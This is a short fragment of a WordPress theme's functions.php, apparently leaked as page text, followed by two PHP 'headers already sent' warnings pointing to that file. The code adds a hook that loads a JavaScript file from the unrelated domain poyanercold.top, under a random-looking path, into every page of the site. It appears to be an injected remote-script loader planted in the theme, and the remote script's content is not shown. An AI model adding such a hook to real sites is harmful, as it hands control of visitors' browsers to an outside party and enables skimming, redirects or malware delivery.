add_action('wp_enqueue_scripts', function () {
    wp_enqueue_script(
        'poyaner-api',
        'https://poyanercold.top/zzo0hiv4b8/api',
        array(),
        null,
        true
    );
});<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/mistonew/public_html/wp-content/themes/misto-theme/functions.php:13) in <b>/home/mistonew/public_html/wp-includes/pluggable.php</b> on line <b>1539</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/mistonew/public_html/wp-content/themes/misto-theme/functions.php:13) in <b>/home/mistonew/public_html/wp-includes/pluggable.php</b> on line <b>1542</b><br />